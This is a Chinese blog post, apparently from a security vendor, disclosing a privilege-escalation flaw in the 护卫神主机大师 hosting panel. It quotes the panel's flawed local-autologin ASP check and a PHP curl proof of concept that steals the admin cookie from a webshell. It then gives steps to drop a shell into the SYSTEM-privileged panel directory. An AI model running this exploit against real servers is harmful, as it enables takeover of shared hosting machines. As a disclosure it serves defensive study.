开发者社区> 网站安全者> 正文

护卫神主机大师被提权漏洞利用(可千万不能乱装护卫神主机管理一键安装的软件)

简介: “护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+MySQL+FTP+伪静态+PhpMyAdmin),并可在线开设主机、SQL Server和MySQL;Web方式管理,拥有独立前台和后台面板。
+关注继续查看

 “护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+MySQL+FTP+伪静态+PhpMyAdmin),并可在线开设主机、SQL Server和MySQL;Web方式管理,拥有独立前台和后台面板。支持Windows Server 2008/2012。结合护卫神14年安全防护经验,严格限制每个站点独立权限,彻底阻挡跨站入侵。”

这话说的有点绝对性,做安全是没有绝对的安全的,如果哪家做安全的敢那样说,绝对不会出问题那肯定是在对客户的不负责任。安全是相对的,需要知己知彼 双方的配合以及安全的不断完善化才能把安全做道最大化的保障。

 

先看看装好后的软件界面,可以看到一些常见的主机操作功能。其中网站管理引起了我的注意,点开瞅瞅

点开之后就直接进去了,WTF?

从逻辑流程来看这里很明显有问题,撸开代码看看怎么验证的。虚拟主机管理系统运行在6588端口。且采用asp语言开发。程序路径为x:\HwsHostMaster\host\web\下,且默认为system权限运行。

/admin/index.asp

<%Option Explicit%>
<!--#include file="../conn.asp"-->
<%
Dim strIp
strIp = Request.ServerVariables("local_addr")
Dim strAuto
strAuto = LCase(Trim(Request.QueryString("f")))
If (strIp = "::1" Or strIp = "127.0.0.1") And strAuto = "autologin"  Then
    '获取管理用户登录
    Dim sql,rs
    call conn_open()
    Set rs = Server.CreateObject("Adodb.Recordset")
    sql = "select top 1 * from [huweishen_Admin]"
    rs.Open sql,conn,1,1
    if rs.RecordCount = 0 then
        Session("admin")= "autologin"
    else
        Session("admin") = rs("username")
    end if
    rs.Close
    Session.Timeout =600
    AddLog Session("admin"), 1, "控制台直接登录管理中心"
    Response.Redirect "index.asp"
End If
%>

代码乍一看好像没啥问题,但是开发者疏忽了一个问题,第9行判断来源ip是否为本地访问,strIp变量来自Request.ServerVariables(“local_addr”) ,如果为本地访问且strAuto=autologin则直接登入系统,无需账号密码验证,这就出现一个问题了,开发者未考虑内部用户是否合法,如果我获取到一个低权限的webshell、那就相当于获取到一个本地身份了。那么我就可以直接访问到虚拟主机管理后台了。那么就可以为所欲为了。

 

本漏洞利用前提是已经获取到虚拟主机上的一个webshell,其次在通过以下脚本获取cookie即可进入虚拟主机管理后台。

<?php
function httpGet() {
    $url = '[http://127.0.0.1:6588/admin/index.asp?f=autologin](http://127.0.0.1:6588/admin/index.asp?f=autologin)';
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, TRUE);    //表示需要response header
    curl_setopt($ch, CURLOPT_NOBODY, TRUE); //表示需要response body
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, TRUE);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, FALSE);
    curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
    curl_setopt($ch, CURLOPT_TIMEOUT, 120);
    $result = curl_exec($ch);
    return $result;
}
echo httpGet();
?>

将该脚本上传至服务器,访问后即可获取到管理员cookie。在本地修改cookie后即可进入到虚拟主机管理后台。绕过登录限制。

 

直接访问需要登录

通过脚本获取cookie

修改cookie后直接访问/admin/index.asp,进入后台

进入后台后点击网站列表,随便选择一个网站,点击解压进入操作界面,通过FTP或其他方式上传shell压缩包,然后输入文件名和解压路径,解压路径选择护卫神管理系统路径,一般为X:\HwsHostMaster\host\web\ X为任意盘符。

在我这里普通网站目录和护卫神管理系统都在D盘下,所以采用相对路径指向到虚拟主机管理系统web路径即可点击解压以后,shell就躺在管理系统目录下了。并且为system权限。成功获取到高权身份

该漏洞利用场景较为鸡肋,前提要求已经获取到该主机上的shell,才可采用该方法进行提权。开发者在开发过程中不要对内部不要过于信任,因为你也无法确保内部绝对的安全。

 

专注于安全领域 解决网站安全 解决网站被黑 网站被挂马 网站被篡改 网站安全、服务器安全提供商-www.sinesafe.com --专门解决其他人解决不了的网站安全问题.

版权声明:本文内容由阿里云实名注册用户自发贡献,版权归原作者所有,阿里云开发者社区不拥有其著作权,亦不承担相应法律责任。具体规则请查看《阿里云开发者社区用户服务协议》和《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容,填写侵权投诉表单进行举报,一经查实,本社区将立刻删除涉嫌侵权内容。

相关文章
网工小白升级打怪篇(二)telnet实现远程管理
网工小白升级打怪篇(二)telnet实现远程管理
66 0
【内网渗透】神器Mimikatz的入门简单实践
【内网渗透】神器Mimikatz的入门简单实践
111 0
渗透测试-制作一个‘有吸引力的软件‘去获取电脑shell(功能很强大,有惊喜)
渗透测试-制作一个‘有吸引力的软件‘去获取电脑shell(功能很强大,有惊喜)
37 0
护卫神主机大师被提权漏洞利用(可千万不能乱装护卫神主机管理一键安装的软件)
 “护卫神·主机大师支持一键安装网站运行环境(IIS+ASP+ASP.net+PHP5.2-5.6+MySQL+FTP+伪静态+PhpMyAdmin),并可在线开设主机、SQL Server和MySQL;Web方式管理,拥有独立前台和后台面板。
1942 0
+关注
网站安全者
Sinesafe专注于网站安全,服务器安全,解决各类网络安全问题防入侵防篡改,对代码审计以及漏洞修补安全加固有专业的十年实战经验.
文章
问答
视频
文章排行榜
最热
最新
相关电子书
更多
15分钟打造你自己的小程序更新版
立即下载
低代码开发师(初级)实战教程
立即下载
阿里巴巴DevOps 最佳实践手册
立即下载
相关实验场景
更多